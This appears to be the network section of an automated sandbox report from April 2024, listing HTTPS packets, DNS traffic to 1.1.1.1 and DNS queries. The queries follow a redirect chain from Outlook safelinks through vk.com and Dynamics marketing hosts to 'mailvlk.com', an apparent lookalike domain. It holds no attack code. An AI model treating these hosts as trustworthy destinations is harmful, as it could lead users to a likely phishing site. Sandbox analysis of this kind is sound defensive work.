Apr 24, 2024 15:44:36.252209902 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.252404928 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.252481937 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.252973080 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.253240108 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.253319979 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.253345966 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.253364086 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.253627062 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.253815889 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.253850937 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.254327059 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.254591942 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.254663944 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.254673958 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.254708052 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.258161068 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.258342981 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.258404016 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.259296894 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.259372950 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.259641886 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.259706020 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.259742975 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.292138100 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.300148964 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.305335999 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.305356979 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.305361032 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.305377007 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.305399895 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.352335930 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.920908928 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.921022892 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.921050072 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.921072960 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.921097040 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.921145916 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.921164989 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.921199083 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.921236038 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.921246052 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.921684980 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.921732903 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.921741962 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.922070980 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.922111034 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.922120094 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.922210932 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.922257900 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.922265053 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.922992945 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.923018932 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.923052073 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.923060894 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.923113108 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.923126936 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.923923969 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.923974991 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.923984051 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.924283981 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.924309015 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.924346924 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.924357891 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.924401999 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.925049067 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925180912 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925198078 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925241947 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925254107 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.925265074 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925288916 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925318956 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.925367117 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925422907 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.925438881 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925466061 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925520897 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.925755978 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925801992 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925807953 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.925816059 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.925853014 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.925860882 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.926414013 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.926444054 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.926729918 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.926774025 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.926783085 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.926915884 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.926963091 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.926973104 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.927660942 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.927711964 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.927720070 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.928467989 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.928545952 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.928555965 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.928647995 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.928695917 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.928704023 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.929212093 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.929291964 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.929371119 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.929430008 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.929477930 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.929486990 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.929681063 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.929713964 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.929769039 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.929825068 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.929832935 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.933629990 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.933743954 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.933816910 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.933866024 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.933892012 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.933933973 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.933991909 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.934022903 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.934081078 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.934122086 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.934216976 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.934269905 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.934283972 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.934371948 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.934428930 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.934442043 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.934587955 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.934640884 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.934653044 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.934904099 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.934933901 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.935370922 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.935431957 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.935444117 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.935592890 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.935642004 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.935652971 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.936259031 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.936325073 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.936336994 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.936438084 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.936490059 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.936503887 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.937057972 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.937113047 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.937124014 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.937226057 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.937275887 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.937287092 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.937697887 CEST	49813	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.937758923 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.937828064 CEST	49813	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.938122988 CEST	49813	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.938155890 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.938163996 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.938224077 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.938236952 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.938431025 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.938492060 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.938575029 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.938601017 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.972326994 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.080719948 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.080874920 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.080914974 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.080970049 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.081700087 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.081770897 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.081773996 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.081787109 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.081835032 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.082637072 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.082700014 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.083650112 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.083724976 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.084486961 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.084554911 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.085300922 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.085372925 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.085545063 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.085603952 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.086344957 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.086410999 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.087214947 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.087274075 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.087846041 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.087905884 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.087999105 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.088095903 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.088143110 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.088248014 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.088265896 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.256907940 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.257200003 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.257246017 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.257723093 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.258034945 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.258124113 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.258158922 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.272249937 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.272612095 CEST	49813	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.272665977 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.273062944 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.273396015 CEST	49813	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.273477077 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.273530960 CEST	49813	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.300117016 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.307368994 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.316133976 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.323371887 CEST	49813	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.934539080 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.934601068 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.934643030 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.934668064 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.934695959 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.934742928 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.934750080 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.934770107 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.934813023 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.935657978 CEST	49812	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.935669899 CEST	443	49812	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.947473049 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.947510004 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.947577000 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.947573900 CEST	49813	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.947642088 CEST	49813	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.948183060 CEST	49813	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:37.948218107 CEST	443	49813	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:37.977375031 CEST	49691	443	192.168.2.17	204.79.197.200

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 15:42:45.755162954 CEST	57505	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:45.755285978 CEST	59486	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:45.909293890 CEST	53	57505	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:45.909310102 CEST	53	59486	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:45.909348011 CEST	53	65239	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:45.925887108 CEST	53	56062	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:46.884076118 CEST	53	58882	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:47.552792072 CEST	58643	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:47.552916050 CEST	59248	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:47.706649065 CEST	53	58643	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:47.707036018 CEST	53	59248	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:49.094326973 CEST	56003	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:49.094476938 CEST	58058	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:49.423394918 CEST	53	58058	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:49.423717022 CEST	53	56003	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:50.339325905 CEST	63943	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:50.339735031 CEST	59575	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:50.493041992 CEST	53	63943	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:50.493128061 CEST	53	59575	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:50.561296940 CEST	63948	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:50.561568975 CEST	53386	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:50.715006113 CEST	53	63948	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:50.715368032 CEST	53	53386	1.1.1.1	192.168.2.17
Apr 24, 2024 15:42:52.792924881 CEST	61322	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:52.795769930 CEST	50064	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:56.482404947 CEST	63929	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:56.482650995 CEST	57840	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:56.762990952 CEST	65514	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:56.763169050 CEST	57543	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:59.040617943 CEST	52387	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:42:59.040781021 CEST	56034	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:03.821806908 CEST	53	50847	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:05.155414104 CEST	61364	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:05.155668974 CEST	62759	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:05.327327013 CEST	53	62759	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:05.402162075 CEST	53	61364	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:06.107243061 CEST	56570	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:06.107381105 CEST	53016	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:06.260498047 CEST	53	56570	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:06.260725021 CEST	53	53016	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:06.820815086 CEST	50972	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:06.820959091 CEST	65428	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:06.974373102 CEST	53	65428	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:06.974798918 CEST	53	50972	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:07.513391972 CEST	60816	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:07.513541937 CEST	58607	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:07.666868925 CEST	53	58607	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:07.667778969 CEST	53	60816	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:07.670506954 CEST	56555	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:07.670811892 CEST	54586	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:07.824063063 CEST	53	54586	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:07.824323893 CEST	53	56555	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:09.332351923 CEST	53295	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:09.332596064 CEST	64304	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:43:09.485677958 CEST	53	53295	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:09.485697031 CEST	53	64304	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:22.710249901 CEST	53	63744	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:24.263885021 CEST	53	63618	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:45.127011061 CEST	53	49338	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:45.640175104 CEST	53	53306	1.1.1.1	192.168.2.17
Apr 24, 2024 15:43:48.470352888 CEST	138	138	192.168.2.17	192.168.2.255
Apr 24, 2024 15:44:06.104749918 CEST	56226	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:44:06.105020046 CEST	59116	53	192.168.2.17	1.1.1.1
Apr 24, 2024 15:44:06.258358955 CEST	53	56226	1.1.1.1	192.168.2.17
Apr 24, 2024 15:44:06.258461952 CEST	53	59116	1.1.1.1	192.168.2.17
Apr 24, 2024 15:44:13.667181969 CEST	53	53490	1.1.1.1	192.168.2.17

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 15:42:45.755162954 CEST	192.168.2.17	1.1.1.1	0xdbf9	Standard query (0)	nam10.safelinks.protection.outlook.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:45.755285978 CEST	192.168.2.17	1.1.1.1	0xc74a	Standard query (0)	nam10.safelinks.protection.outlook.com	65	IN (0x0001)	false
Apr 24, 2024 15:42:47.552792072 CEST	192.168.2.17	1.1.1.1	0x23e3	Standard query (0)	vk.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:47.552916050 CEST	192.168.2.17	1.1.1.1	0xb748	Standard query (0)	vk.com	65	IN (0x0001)	false
Apr 24, 2024 15:42:49.094326973 CEST	192.168.2.17	1.1.1.1	0x6d1f	Standard query (0)	away.vk.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:49.094476938 CEST	192.168.2.17	1.1.1.1	0xccba	Standard query (0)	away.vk.com	65	IN (0x0001)	false
Apr 24, 2024 15:42:50.339325905 CEST	192.168.2.17	1.1.1.1	0x8ffe	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.339735031 CEST	192.168.2.17	1.1.1.1	0x4093	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 15:42:50.561296940 CEST	192.168.2.17	1.1.1.1	0x6c10	Standard query (0)	vk.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.561568975 CEST	192.168.2.17	1.1.1.1	0x7fb1	Standard query (0)	vk.com	65	IN (0x0001)	false
Apr 24, 2024 15:42:52.792924881 CEST	192.168.2.17	1.1.1.1	0x5447	Standard query (0)	assets-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:52.795769930 CEST	192.168.2.17	1.1.1.1	0x1554	Standard query (0)	assets-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 24, 2024 15:42:56.482404947 CEST	192.168.2.17	1.1.1.1	0xdba5	Standard query (0)	assets-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:56.482650995 CEST	192.168.2.17	1.1.1.1	0x2c0f	Standard query (0)	assets-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 24, 2024 15:42:56.762990952 CEST	192.168.2.17	1.1.1.1	0x6f45	Standard query (0)	public-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:56.763169050 CEST	192.168.2.17	1.1.1.1	0x2d48	Standard query (0)	public-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 24, 2024 15:42:59.040617943 CEST	192.168.2.17	1.1.1.1	0x27db	Standard query (0)	public-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:59.040781021 CEST	192.168.2.17	1.1.1.1	0x901d	Standard query (0)	public-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 24, 2024 15:43:05.155414104 CEST	192.168.2.17	1.1.1.1	0xbeec	Standard query (0)	mailvlk.com	A (IP address)	IN (0x0001)	false
